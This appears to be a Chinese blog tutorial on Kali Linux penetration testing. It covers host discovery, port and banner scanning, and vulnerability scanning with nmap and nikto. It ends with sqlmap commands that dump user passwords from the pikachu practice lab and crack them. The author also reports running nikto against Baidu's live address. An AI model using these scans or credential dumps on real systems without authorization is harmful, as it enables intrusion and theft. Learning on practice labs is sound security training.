目录
Kali环境安装配置更新
镜像文件下载地址
Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution
默认用户名
用户名root 密码toor
我的主机用户名root 密码1
更新命令
apt updata && apt upgrade && apt dist-upgrade
网络环境配置
设置中改成桥接模式 通过kali虚拟机与主机互ping确认是否处于同一网段
二层发现
原理
利用OSI链路层中的协议进行主机发现 一般是ARP协议
缺点: 不能跨路由发现主机
工具
arping
需要 -c 参数 否则会一直扫描 缺点:无法同时扫描多主机
netdiscover
直接输入即可 优点:可以同时扫描多主机
三层发现
原理
利用OSI网络协议进行主机发现 一般是ICMP协议
优点:1.可以发现远程主机 经过路由的主机 2.速度相对较快
缺点:1.经常被防火墙过滤 2.速度相比二层发现慢
工具
ping
需要-c参数 否则会一直扫描
fping
可以进行多个主机扫描 fping
hping3
特点:发送自定义ICMP数据包
可以根据实际自定义ICMP数据包绕过防火墙过滤
四层发现
原理
利用OSI传输层协议进行主机发现,一般利用TCP、UDP探测
优点: 1.可以探测远程主机 2.比三层发现更为可靠
缺点: 花费时间更长
工具
nmap
可以调用二、三、四层发现
命令 nmap -sP IP地址范围
hping3
也可以进行四层主机发现
hping3 --udp(使用udp进行探测) -c 3(-c指定次数)-p 80(-p指定端口号) IP地址
再打开09号下的wireshark工具指定udp进行抓包分析
综上分析udp数据包可能被目标ip所在的主机上的状态防火墙过滤,所以无法响应
Python脚本
使用GitHub上分享的主机发现脚本:GitHub - Cyber-Forensic/nWatch
直接在kali自带fox浏览器中打开链接 并复制脚本工具链接
1.安装脚本工具
进入到/Desktop文件中查看是否建立nWatch文件夹 并进入
2.添加执行权限
发现nwatch.py文件没有执行权限 用chmod命令添加执行权限
运行脚本 因为kali2022安装了python2和python3两个版本的,脚本是python2写的,运行的时候要用python2
3.安装scapy模块
如图 系统提示缺乏scapy模块
安装模块要用pip2命令去安装 因为kali自带的是pip3也就是默认的pip
安装之后运行脚本 发现仍然缺少scapy模块
再安装一次即可
安装完成后再次运行脚本 发现此时系统提示缺少nmap模块 说明scapy模块已经安装完成
4.安装nmap模块
尝试安装nmap模块
报错的原因是经过测试,选择的版本低于0.6的都无法正常调用,而pip2 install python-nmap安装的是最新版本的nmap,但是由于python2不支持安装nmap最新版的,所以我选择了0.6.1版本的
命令:pip2 install python-nmap==0.6.1
5.运行脚本
安装完成后 再次运行脚本
脚本运行完毕
找到对应网卡并键入数字 回车
可以查看IP地址 MAC地址 UP状态 OS版本号 PORT端口号和开放端口号
主机发现-python脚本以及记录在安装脚本过程中出现并解决的问题_Hello,Jade的博客-CSDN博客_no module named nmap csdn上详细介绍安装脚本以及运行步骤
端口扫描
原理
一个端口代表一个提供的服务,不同的服务具有不同的端口号,因此要对服务进行测试。首先要确定是否开放对应端口号。
工具
nmap
nmap具有多张扫描端口的技术
端口状态:
open 开放
closed 关闭
filtrerd 被过滤的 无法得知此端口是否开启
unfiltered 未被过滤但无法得知
open filtered 开放或被过滤的
closed filtered 未开发或被过滤的
常用参数
命令:nmap IP地址
Dmitry
使用Dmitry进行端口扫描,其中-p参数指定Dmitry进行tcp端口扫描
命令:dmitry -p IP地址
直接回车输入命令弹出帮助信息
输入-p查看tcp端口
netcat
使用netcat进行端口扫描
命令:nc -nvz IP地址 端口范围
(-n 输入一个IP地址 -v 输出对应的详细信息 -z I/O模式下进行扫描)
端口Banner信息获取
原理
端口范围0~65535
TCP端口和UDP端口。由于TCP和UDP两个协议是独立的。因此各自的端口号也相互独立,比如TCP有235端口,UDP也可以有235端口,两者并不冲突。
端口分为:
1.周知端口
周知端口是众所周知的端口号,范围从0到1023,其中80端口分配飞WWW服务,21端口分配给FTP服务等。我们在IE的地址栏里输入一个网址的时候是不必指定端口号的,因为在默认情况下的WWW服务的端口是“80”
2.动态端口
动态端口的范围是49152到65535。之所以被称为动态端口,是因为它一般不固定分配某种服务,而是动态分配。
2.注册端口
注册端口范围是1024到49151,分配给用户进程或应用程序。这些进程主要是用户安装的程序。
工具
nmap
使用nmap扫描指定主机的端口信息,并返回Banner
命令: nmap IP地址 -script banner -p 端口号
可以看到22端口开放 以及banner信息
dmitry
使用dmitry获取端口banner信息
命令: dmitry -pb IP地址
有些端口不返回banner信息是因为对应服务不支持返回
netcat
使用netcat获取banner信息
命令: nc -vn IP地址 端口号(指定端口或指定端口范围)
端口服务版本和操作系统版本信息获取
端口服务版本信息获取
利用nmap获取目标系统的端口版本信息
命令 :nmap -p 端口号 -sV IP地址
操作系统版本信息获取
使用nmap扫描指定主机的操作系统版本信息
命令 : nmap -O IP地址
针对不同的操作系统进行不同的测试
综合所有命令完整探测
在针对内容测试时,有授权的情况下,可以利用nmap对目标进行完整测试。
命令: nmap -A -v -T4(进行快速扫描测试) IP地址
系统漏洞扫描
原理
漏洞扫描器对漏洞进行扫描,以验证具体目标是否存在对应的具体漏洞。但是也存在错误扫描,需要对扫描结果进行漏洞验证。
扫描器的原理大致相同 都是通过发送对应的验证数据到目标具体服务进行验证。当收到目标返回的响应与存在漏洞的响应一致时,就表明存在漏洞。
nmap常见脚本运用
网址:NSEDoc Reference Portal — Nmap Scripting Engine documentation
工具
nmap
使用nmap进行漏洞扫描
命令:nmap --script vuln -O -sV 目标地址
Web应用程序漏洞扫描
原理
针对Web应用程序的漏洞 扫描其实就是每个扫描器读取自己的Payload进行探测
常见的Web漏洞扫描器
-
Owasp-zap
-
AWVS
-
Appscan
-
Nikto
-
Burpsuite
每个扫描器都有各自不同的Payload进行探测
nikto
对目标服务器进行漏洞扫描 主要针对http服务器
命令: nikto -host IP地址
我这里对百度网址进行ping之后 再用nikto进行扫描IP地址
漏洞利用
工具
SQLMAP
使用Sqlmap对扫描到的SQL注入漏洞进行利用
靶场:pikachu平台(小皮启动)
打开靶场的时候前面加上本机IP地址
命令 sqlmap -u "url地址" --current-db -batch
从倒数第二行信息可以看出 数据库名为"pikachu"
使用命令sqlmap -u “进行注入的URL” -D pikachu -tables -batch,用已知pikachu数据库名加-tables列出当前的表
得到了该数据的所有表单
使用命令sqlmap -u “进行注入的URL” -D pikachu -T users -columns -batch列出users的列
获得了列与类型
使用命令sqlmap -u “进行注入的URL” -D pikachu -T users -C username,password --dump -batch获取username与password列中的数据
cmd5.com上破解密码